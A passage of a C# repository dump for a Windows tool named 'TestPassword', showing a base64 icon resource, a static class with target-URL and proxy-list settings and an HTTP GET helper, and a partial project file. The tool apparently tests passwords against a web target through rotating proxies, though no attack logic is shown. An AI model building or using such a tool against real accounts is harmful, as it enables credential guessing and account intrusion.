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\r\n        m10LB/oAAAAASUVORK5CYII=\r\n</value>\r\n  </data>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/StaticClass.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 静态类\r\n    /// </summary>\r\n    public static class StaticClass\r\n    {\r\n        #region 静态字符串\r\n\r\n        /// <summary>\r\n        /// 线程状态\r\n        /// </summary>\r\n        public static bool status { get; set; }\r\n\r\n        /// <summary>\r\n        /// 目标连接\r\n        /// </summary>\r\n        public static string url { get; set; }\r\n\r\n        /// <summary>\r\n        /// 项目的路径\r\n        /// </summary>\r\n        public static string file { get; set; }\r\n\r\n        /// <summary>\r\n        /// 配置文件的路径\r\n        /// </summary>\r\n        public static string config { get; set; }\r\n\r\n        /// <summary>\r\n        /// 代理文件的路径\r\n        /// </summary>\r\n        public static string proxy { get; set; }\r\n\r\n        /// <summary>\r\n        /// 代理文件的IP组\r\n        /// </summary>\r\n        public static string[] proxys { get; set; }\r\n\r\n        #endregion 静态字符串\r\n\r\n        #region 静态方法\r\n\r\n        /// <summary>\r\n        /// Get请求\r\n        /// </summary>\r\n        public static string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n\r\n        #endregion 静态方法\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/TestPassword.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{AC42684F-60E0-464C-881D-B679DA8D8A7B}</ProjectGuid>\r\n    <OutputType>WinExe</OutputType>\r\n    <AppDesignerFolder>Properties</AppDesignerFolder>\r\n    <RootNamespace>zgcwkj</RootNamespace>\r\n    <AssemblyName>TestPassword</AssemblyName>\r\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup>\r\n    <ApplicationIcon>ico.ico</ApplicationIcon>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Deployment\" />\r\n    <Reference Include=\"System.Drawing\" />\r\n    <Reference Include=\"System.Windows.Forms\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"HttpHelp.cs\" />\r\n    <Compile Include=\"HttpProxy.cs\" />\r\n    <Compile Include=\"HttpTest.cs\" />\r\n    <Compile Include=\"Hash.cs\" />\r\n    <Compile Include=\"HttpThread.cs\" />\r\n    <Compile Include=\"Main.cs\">\r\n      <SubType>Form</SubType>\r\n    </Compile>\r\n    <Compile Include=\"Main.Designer.cs\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </Compile>\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n    <Compile Include=\"StaticClass.cs\" />\r\n    <EmbeddedResource Include=\"Main.resx\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </EmbeddedResource>\r\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\r\n      <Generator>ResXFileCodeGenerator</Generator>\r\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\r\n      <SubType>Designer</SubType>\r\n    </EmbeddedResource>\r\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Resources.resx</DependentUpon>\r\n      <DesignTime>True</DesignTime>\r\n    </Compile>\r\n    <None Include=\"Properties\\Settings.settings\">\r\n      